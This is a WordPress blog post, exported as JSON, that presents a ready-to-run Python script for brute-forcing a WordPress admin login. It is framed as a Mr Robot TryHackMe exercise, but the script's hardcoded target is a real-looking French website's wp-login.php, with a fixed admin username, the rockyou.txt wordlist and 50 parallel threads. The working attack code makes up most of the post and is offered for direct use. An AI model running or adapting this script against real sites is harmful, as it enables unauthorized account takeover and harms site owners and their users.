﻿{"id":1125,"date":"2022-10-14T18:50:30","date_gmt":"2022-10-14T10:50:30","guid":{"rendered":"https:\/\/byy3.com\/?p=1125"},"modified":"2022-10-14T18:50:30","modified_gmt":"2022-10-14T10:50:30","slug":"cracking-wordpress-website-passwords-python-script","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1125","title":{"rendered":"Cracking WordPress Website Passwords &#8211; Python Script"},"content":{"rendered":"<p>Part 1 of a Mr Robot themed try hack me challenge. We try to crack wordpress website password with a wordlist list by creating a python script. If you'd like to support me, please like, share and subscribe. If you have any suggestions or queries, feel free to comment.<\/p>\n<div>\n<div>import\u00a0requests<\/div>\n<div>from\u00a0concurrent.futures\u00a0import\u00a0ThreadPoolExecutor,as_completed<\/div>\n<div>url\u00a0=\u00a0\"https:\/\/www.oserinvestir.fr\/wp-login.php\"<\/div>\n<div>def\u00a0doLogin(pwd):<\/div>\n<div>\u00a0\u00a0loginBody\u00a0=\u00a0{<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0'log':'admin4572',<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0'pwd':pwd,<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0'wp-submit':'Log\u00a0In'<\/div>\n<div>\u00a0\u00a0}<\/div>\n<div>\u00a0\u00a0return\u00a0(requests.post(url,loginBody).text,pwd)<\/div>\n<div>with\u00a0ThreadPoolExecutor(max_workers\u00a0=\u00a050)\u00a0as\u00a0executor:<\/div>\n<div>\u00a0\u00a0with\u00a0open('rockyou.txt',\u00a0'rb')\u00a0as\u00a0wordlist:<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0futures\u00a0=\u00a0[]<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0lines\u00a0=\u00a0[line.strip()\u00a0for\u00a0line\u00a0in\u00a0wordlist.readlines()\u00a0if\u00a0line]<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0lines\u00a0=\u00a0set(lines)<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0for\u00a0line\u00a0in\u00a0lines:<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0futures.append(executor.submit(doLogin,line))<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0for\u00a0future\u00a0in\u00a0as_completed(futures):<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if\u00a0future.result()[0].find(\"Erreur\u00a0:\")\u00a0==\u00a0-1:<\/div>\n<div>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(future.result()[1])<\/div>\n<\/div>\n<div><\/div>\n<div>you can run it with colab<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Part 1 of a Mr Robot themed try hack me challenge. We t [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,15,1,21],"tags":[489,756,757,755],"class_list":["post-1125","post","type-post","status-publish","format-standard","hentry","category-python","category-wordpress","category-net-security","category-script","tag-python","tag-wordpress"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1125"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1125\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}